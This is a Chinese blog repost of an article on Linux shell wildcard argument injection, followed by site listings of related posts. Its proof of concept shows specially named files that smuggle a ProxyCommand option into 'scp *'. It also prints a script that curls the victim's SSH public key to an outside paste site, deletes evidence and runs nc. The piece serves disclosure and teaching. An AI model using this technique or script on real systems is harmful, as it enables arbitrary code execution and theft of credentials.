文档章节

Linux 通配符可能产生的问题

Feng_Yu
 Feng_Yu
发布于 2014/06/26 16:34
字数 847
阅读 180
收藏 8

from:https://dicesoft.net/projects/wildcard-code-execution-exploit.htm

0x00 通配符

当你在一个bash命令行中输入“*”时,bash会扩展到当前目录的所有文件,然后将他们全部作为参数传递给程序。例如:rm *,将会删除掉当前目录的所有文件。

0x01 文件名被当做参数

大多数的命令行程序受此影响。例如ls命令,当不适用任何参数时,输出是这个样子的:

[stephen@superX foo]$ ls
asdf.txt  foobar  -l

如果你想要知道这些文件所属的组和用户,你可以通过”-l"参数来查看:

[stephen@superX foo]$ ls -l
total 0
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 -l

注意,有一个名字是“-l”的文件,我们试试“ls *”会发生什么。

[stephen@superX foo]$ ls *
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar

与之前不同的是"ls *” 没有输出-l文件,-l文件被当做了此命令的参数。

此条命令相当于运行:

[stephen@superX foo]$ ls asdf.txt foobar -l
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar  

0x02 安全问题

此问题可能导致一些安全问题,当有人参数当中带有一个通配符,又没有事先检查目录下的文件名称。这可能被用来攻击别人电脑。

这个问题是众所周知的,在http://seclists.org/fulldisclosure/2011/Sep/190已经有关于此问题的讨论。

0x03 Proof of Concept Exploit

为了证明这个问题可以转化为一个任意代码执行攻击,我们尝试攻击“scp”命令,scp命令提供了-o选项,配置ssh,SSh有涉及运行命令的选项,我们可以利用这一点,让我们的脚本运行。

假设我们有一个目录的控制权限,在该目录下受害者将运行以下命令(想象一下,用户只下载一个web应用程序的源代码,并上传到他们的网络服务器上):

$ scp * user@example.org:/var/www/

为了利用这个命令,在目录下我们需要放几个文件:

"-o" - SCP 将会把这个文件当做 "-o” 参数。 "ProxyCommand sh supercool.sh %h %p" - SCP 将会把这个文件当做 "-o" 的一个参数。 "supercool.sh" - 这个脚本将会被执行。 "zzz.txt" - 没有任何用处的测试文件。

在supercool.sh文件里,有一些恶意的命令:

#!/bin/sh
 
# Upload their SSH public key to the Internet, and put a scary message in /tmp/.
echo "By @DefuseSec and @redragonx..." > /tmp/you-have-been-hacked.txt
echo "This could have been your private key..." >> /tmp/you-have-been-hacked.txt
curl -s -d "jscrypt=no" -d "lifetime=864000"                                \
        -d "shorturl=yes" --data-urlencode "paste@$HOME/.ssh/id_rsa.pub"    \
        https://defuse.ca/bin/add.php -D - |                                \
        grep Location | cut -d " " -f 2 >> /tmp/you-have-been-hacked.txt
 
# Delete evidence of our attack.
rm ./-o ProxyCommand\ sh\ supercool.sh\ %h\ %p 
echo > ./supercool.sh
 
# Do what ProxyCommand is supposed to do.
nc -p 22332 -w 5 $1 $2

当受害者执行命令时:

$ scp * user@example.org:/var/www/
supercool.sh
zzz.txt

当他检查自己的/tmp目录下的时候将会看到:

$ cat /tmp/you-have-been-hacked.txt
By @DefuseSec and @redragonx...
This could have been your private key...
 
https://defuse.ca/b/QQ3nxADu

可以在这里下载完整的poc文件:poc.zip

本文转载自:http://drops.wooyun.org/papers/2448

共有 人打赏支持
Feng_Yu
粉丝 156
博文 38
码字总数 45571
作品 0
西安
运维
linux md5sum 的用法

MD5算法常常被用来验证网络文件传输的完整性,防止文件被人篡改。MD5全称是报文摘要算法(Message-Digest Algorithm 5),此算法对任意长度的信息逐位进行计算,产生一个二进制长度为128位(...

李长春
2012/02/07
0
1
(一)软件测试专题——之Linux常用命令篇02

本文永久更新地址:https://my.oschina.net/bysu/blog/1931731 【若要到岸,请摇船:开源中国 不最醉不龟归】 如果直接上Linux命令估计很多同学还是看不懂。如果说Windows操作系统,估计大家...

不最醉不龟归
08/21
0
0
Linux讲座 第二十课 shell命令

Linux讲座 第二十课 shell命令 命令行   用户登录到Linux系统时,可以看到一个shell提示符,标识了命令行的开始。用户可以在提示符后面输入任何命令及参数。例如:   $ date   二 11...

每天打起精神即可
2013/05/06
0
0
开始你的bash/shell脚本编程

原文链接🔗 对于我自己来说,学习新框架或技术的最佳方式是同时获得实践经验,在本文中,你将自己通过编写代码来学习shell脚本的基础知识!本文包含语法,shell脚本的基础知识到中级shell...

shellhub
07/14
0
0
L1 终端错误漏洞(L1TF)如何影响 Linux 系统

L1 终端错误(L1TF)影响英特尔处理器和 Linux 操作系统。让我们了解一下这个漏洞是什么,以及 Linux 用户需要为它做点什么。 昨天(LCTT 译注:本文发表于 2018/8/15)在英特尔、微软和红帽...

14%
08/27
0
0

没有更多内容

加载失败,请刷新页面

加载更多

docker update:更新一个或多个容器的配置

更新容器的配置 docker update:更新一个或多个容器的配置。 具体内容请访问:https://docs.docker.com/engine/reference/commandline/update/#options 语法:docker update [OPTIONS] CONTA...

lwenhao
32分钟前
1
0
unload事件

unload事件不触发的原因分析 1.代码位置不对,应该优先加载,不能放到回调函数中 2.浏览器不支持 3.最可能的原因,unload事件中触发的函数是一个异步执行的函数,浏览器是不允许在窗口关闭之后在...

狮子狗
45分钟前
1
0
DbForge Schema Compare for MySQL入门教程:如何连接到数据库

【dbForge Schema Compare for MySQL下载】 要创建连接: 1. 在“Connection” 工具栏上单击“New Connection”按钮 。 2. 在“Host” 框中输入主机名。 3. 在“Port” 框中输入端口信息。默...

Miss_Hello_World
47分钟前
1
0
公众号关联微信小程序

公众号关联小程序发送关联通知,对于推广小程序有着很大的帮助。所以问题来了,怎么做到在公众号关联小程序发送关联通知呢? 一:开发中遇到的问题 之前在开发过程中发现,公众号已经关联小程...

Code辉
今天
1
0
并发编程基础之JMM学习摘要

一、JMM定义 Java内存模型即Java Memory Model(JMM),JMM决定一个线程对共享变量的写入何时对另一个线程可见(内存可见性),从抽象的角度来看,JMM定义了线程和主内存之间的抽象关系:线程...

狠一点
今天
1
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部